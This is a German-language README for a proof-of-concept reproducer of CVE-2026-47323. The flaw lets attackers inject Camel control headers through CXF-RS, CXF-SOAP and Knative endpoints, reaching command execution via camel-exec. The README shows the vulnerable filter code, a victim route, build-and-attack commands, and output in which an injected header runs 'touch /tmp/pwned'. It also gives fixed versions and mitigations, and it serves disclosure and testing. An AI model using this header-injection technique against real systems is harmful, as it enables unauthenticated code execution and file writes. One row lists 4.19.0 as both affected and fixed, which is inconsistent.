
Reproducer for CVE-2026-47323: Apache Camel CXF/Knative HeaderFilterStrategy missing inbound filtering, enabling Camel control-header injection (RCE via camel-exec) through CXF-RS/CXF-SOAP/Knative endpoints (fixed in 4.14.6/4.18.2/4.19.0)
Dieses Projekt demonstriert eine Message-Header-Injection in den CXF- und Knative-HTTP-Header-Filter-Strategien von Apache Camel, verfolgt als CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) und KnativeHttpHeaderFilterStrategy (camel-knative-http) filtern nur ausgehende Camel-interne Header (setOutFilterStartsWith), während sie keine eingehende Filterung (setInFilterStartsWith) konfigurieren. Infolgedessen kann ein nicht authentifizierter Angreifer Camel-interne Header (z.B. CamelExecCommandExecutable, CamelFileName) über HTTP-Anfragen an CXF-RS- oder CXF-SOAP-Endpunkte injizieren. Wenn eine Route Nachrichten von diesen Endpunkten an header-gesteuerte Komponenten wie camel-exec oder camel-file weiterleitet, überschreiben die injizierten Header die konfigurierten Werte — was Remote Code Execution oder beliebige Dateischreibvorgänge ermöglicht.
Dieser PoC nutzt die CXF-RS (JAX-RS)-Oberfläche: Ein injiziertes CamelExecCommandExecutable verwandelt ein harmloses echo in eine beliebige Befehlsausführung.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-47323.html
Dieser Reproducer verwendet camel 4.18.1 — die letzte betroffene Version auf der 4.18.x-Linie (der Fix kam in 4.18.2). Gleiches Muster wie camel-undertow (CVE-2025-30177), der breitere eingehende Header-Filter (CVE-2025-27636, CVE-2025-29891) und die Nicht-HTTP-Strategien (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
Der Fix (4.14.6 / 4.18.2 / 4.19.0) fügt setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) zu diesen Strategien hinzu, sodass eingehende Camel* / camel*-Header verworfen werden.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
Ein JAX-RS-Endpunkt (GET /service/api/ping), dessen Anfragen an einen festen Shell-Befehl übergeben werden. Der camel-exec-Producer bevorzugt einen eingehenden CamelExecCommandExecutable-Header gegenüber dem konfigurierten echo.
Alles läuft in einer in sich geschlossenen Anwendung: der CXF-RS-Endpunkt, die camel-exec-Senke und der Angreifer-Treiber.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF-Undertow-Transport)
├── Dockerfile
├── docker-compose.yml # einzelner in sich geschlossener Dienst
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS-Vertrag: GET /api/ping
│ ├── VictimRoute.java # cxfrs-Consumer -> exec:echo
│ └── ExploitController.java # Angreifer: GET /ping mit injizierten CamelExec*-Headern
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # erstellt durch den injizierten Befehl
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
Jede Route, die Nachrichten von einem CXF-RS-, CXF-SOAP- oder Knative-HTTP-Endpunkt an einen header-gesteuerten Producer weiterleitet. Über CamelExecCommandExecutable (RCE via camel-exec) hinaus ermöglicht CamelFileName beliebige Dateischreibvorgänge via camel-file, und andere Camel*-Steuerheader können andere Producer steuern.
Aktualisieren Sie auf 4.14.6 / 4.18.2 / 4.19.0. Die betroffenen Strategien konfigurieren dann setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) und verwerfen eingehende Camel*-Header.
Bis zur Aktualisierung entfernen Sie die Camel-Steuerheader aus eingehenden Nachrichten vor jedem nachgelagerten Producer (.removeHeaders("Camel*") und .removeHeaders("camel*") am Anfang der Route) und fordern Sie eine Authentifizierung am CXF-/Knative-Endpunkt.
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Eigenschaft | Wert |
|---|
| Komponente | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Fehlerhafte Eingabevalidierung |
| Auswirkung | Camel-Steuerheader über eine HTTP-Anfrage injizieren → einen nachgelagerten header-gesteuerten Producer überschreiben → RCE (camel-exec) oder beliebiger Dateischreibvorgang (camel-file) |
| Voraussetzungen | Ein CXF-RS / CXF-SOAP / Knative-Endpunkt, der an einen header-gesteuerten Producer weiterleitet; nicht authentifiziert, wenn der Endpunkt es ist |
| Betroffene Versionen | From 3.18.0 before 4.14.6, from 4.15.0 before 4.18.2, 4.19.0 (fixed in 4.19.0) |
| Behobene Versionen | 4.14.6, 4.18.2, 4.19.0 |
| Entdecker | Quac Tran |